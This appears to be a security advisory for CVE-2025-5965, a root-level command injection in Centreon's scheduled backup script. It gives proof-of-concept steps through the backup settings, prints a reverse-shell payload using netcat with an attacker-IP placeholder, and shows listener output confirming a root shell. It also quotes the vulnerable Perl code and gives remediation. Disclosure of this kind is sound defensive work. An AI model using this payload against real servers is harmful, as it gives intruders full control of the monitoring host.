Overview
CVE-2025-5965 is an authenticated OS command injection vulnerability in Centreon Infra Monitoring’s backup configuration. Several administrator-controlled values are interpolated into shell commands by the scheduled Centreon backup process without shell-safe escaping.
The affected values include the backup temporary database directory and SCP export settings. Because the scheduled backup job runs as root, successful exploitation can result in root-level command execution on the Centreon server.
Attack prerequisites
Exploitation requires an authenticated Centreon account with sufficient privileges to modify Administration → Parameters → Backup. For SCP-related injection points, SCP export must also be enabled.
Proof of concept
- Sign in to the Centreon web interface with a high-privileged account.
- Navigate to Administration → Parameters → Backup.
- Place a command-injection payload in Temporary directory. The research also identified Remote user, Remote host, and Remote directory as injection points when SCP export is enabled.
- Save the configuration.

A reverse-shell payload used during testing was ;nc <attacker_ip> <port> -e /bin/sh;. A less intrusive HTTP callback using wget or curl can also demonstrate execution.
Start a listener:
# nc -lvnp 4444
Listening on 0.0.0.0 4444
The standard Centreon backup job executes at 03:30:
##########################
# Cron for Centreon-Backup
30 3 * * * root /usr/share/centreon/cron/centreon-backup.pl >> /var/log/centreon/centreon-backup.log 2>&1
For controlled testing, /usr/share/centreon/cron/centreon-backup.pl can also be executed directly instead of waiting for the scheduled job.
The original test confirmed root execution:
# nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 192.168.201.6 46122
id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
pwd
/usr/share/centreon
Root cause
The vulnerable implementation is /usr/share/centreon/cron/centreon-backup.pl. The backup temporary directory ($TEMP_DB_DIR) and SCP parameters ($scp_user, $scp_host, and $scp_directory) are incorporated into commands executed through Perl backticks without shell-safe validation.
Temporary database directory
The backup process passes $TEMP_DB_DIR into snapshot and database-dump commands:
// Excerpt of the vulnerable code using the vulnerable `$TEMP_DB_DIR` parameter
sub databasesBackup() {
my ($sec, $min, $hour, $mday, $mon, $year, $wday, $yday, $isdst) = localtime(time);
my $today = sprintf("%d-%02d-%02d", (1900 + $year), ($mon + 1), $mday);
print "[" . sprintf("%4d-%02d-%02d %02d:%02d:%02d", (1900 + $year), ($mon + 1), $mday, $hour, $min, $sec) . "] Start database backup process\n";
# Create path
mkpath($TEMP_DB_DIR, { mode => 0755, error => \my $err_list });
if (@$err_list) {
for my $diag (@$err_list) {
my ($file, $message) = %$diag;
if ($file eq '') {
print STDERR "Database BACKUP: Unable to create temporary directories because: " . $message . "\n";
} else {
print STDERR "Database BACKUP: Problem with file " . $file . ": " . $message . "\n";
}
}
}
my @localtime = localtime(time);
my $dayOfWeek = @localtime[6];
my @fullBackupDays = split(/,/, $BACKUP_DATABASE_FULL);
if ($BACKUP_DATABASE_TYPE == '1') {
# Do LVM snapshot backup or fall into degraded mode with mysqldump
if (grep $_ == $dayOfWeek, @fullBackupDays) {
print "Dumping Db with LVM snapshot (full)\n";
`$CENTREONDIR/cron/centreon-backup-mysql.sh -b $TEMP_DB_DIR -d $today`;
if ($? ne 0) {
print STDERR "Cannot backup with LVM snapshot. Maybe you can try with mysqldump\n";
}
}
my @partialBackupDays = split(/,/, $BACKUP_DATABASE_PARTIAL);
if (grep $_ == $dayOfWeek, @partialBackupDays) {
print "Dumping Db with LVM snapshot (partial)\n";
`$CENTREONDIR/cron/centreon-backup-mysql.sh -b $TEMP_DB_DIR -d $today -p`;
if ($? ne 0) {
print STDERR "Cannot backup with LVM snapshot. Maybe you can try with mysqldump\n";
}
}
} elsif (grep $_ == $dayOfWeek, @fullBackupDays) {
my $mysql_database_ndo;
my $dbh = DBI->connect("DBI:mysql:database=" . $mysql_database_oreon . ";host=" . $mysql_host . ";port=" . $mysql_port, $mysql_user, $mysql_passwd, { 'RaiseError' => 0, 'PrintError' => 0 });
if (!$dbh) {
print STDERR sprintf("Couldn't connect: %s", $DBI::errstr) . "\n";
}
my $file = "";
# Make archives from databases dump
if ($BACKUP_DATABASE_CENTREON == '1') {
$file = $TEMP_DB_DIR . "/" . $today . "-centreon.sql.gz";
`mysqldump -u $mysql_user -h $mysql_host -p'$mysql_passwd' $mysql_database_oreon | $BIN_GZIP > $file`;
if ($? ne 0) {
print STDERR "Unable to dump database: " . $mysql_database_oreon . "\n";
} else {
print "Get mysqldump of \"" . $mysql_database_oreon . "\" database\n";
}
}
# Make centreon_storage dump only if backup type is full
if ($BACKUP_DATABASE_CENTREON_STORAGE == '1') {
# Check if process already exist
my $process_number = `ps aux | grep -v grep |grep "centstorage" | wc -l`;
if ($process_number == 0) {
$file = $TEMP_DB_DIR . "/" . $today . "-centreon_storage.sql.gz";
`mysqldump -u $mysql_user -h $mysql_host -p'$mysql_passwd' $mysql_database_ods | $BIN_GZIP > $file`;
if ($? ne 0) {
print STDERR "Unable to dump database: " . $mysql_database_ods . "\n";
} else {
print "Get mysqldump of \"" . $mysql_database_ods . "\" database\n";
}
}
}
$dbh->disconnect;
}
# End of Db dump
SCP export parameters
The same pattern is present in the export path, where administrator-controlled SCP values are interpolated directly into an scp command:
// Excerpt of the vulnerable code using the vulnerable scp parameters `$scp_user`, `$scp_host` and `$scp_directory`
sub exportBackup($) {
my $export_type = shift; # 0 : database, 1 : configuration
if ($scp_enabled == '1' &&
(!defined($scp_host) || $scp_host ne '') &&
(!defined($scp_directory) || $scp_directory ne '') &&
(!defined($scp_user) || $scp_user ne '')
) {
# Export database backups
if ($export_type == 0 && ($BACKUP_DATABASE_CENTREON == '1' || $BACKUP_DATABASE_CENTREON_STORAGE == '1')) {
chdir($TEMP_DB_DIR);
`scp *.gz $scp_user\@$scp_host:$scp_directory/`;
if ($? ne 0) {
print STDERR "Error when trying to export files of " . $TEMP_DB_DIR . "\n";
} else {
print "All files were copied with success using SCP on " . $scp_user . "@" . $scp_host . ":" . $scp_directo>
}
}
# Export configuration files backup
if ($export_type == 1 && $BACKUP_CONFIGURATION_FILES == '1') {
chdir($TEMP_CENTRAL_DIR);
`scp *.gz $scp_user\@$scp_host:$scp_directory/`;
if ($? ne 0) {
print STDERR "Error when trying to export files of " . $TEMP_CENTRAL_DIR . "\n";
} else {
print "All files were copied with success using SCP on " . $scp_user . "@" . $scp_host . ":" . $scp_directo>
}
}
} elsif ($scp_enabled == '1') {
print STDERR "The export by SCP is enabled but a configuration is missing\n";
}
}
Because the backup script is invoked by root’s cron entry, injected commands inherit the backup process privileges.
Impact
A high-privileged Centreon web user can convert access to backup configuration into arbitrary command execution as root. This provides complete operating-system compromise of the Centreon server.
Remediation
Upgrade Centreon to a release containing the vendor fix. The archived assessment recommends upgrading to the latest available release. The associated vendor metadata identifies fixed branches following affected ranges beginning with 25.10.0, 24.10.0, and 24.04.0.
References
Credits
Discovery: h00die-gr3y.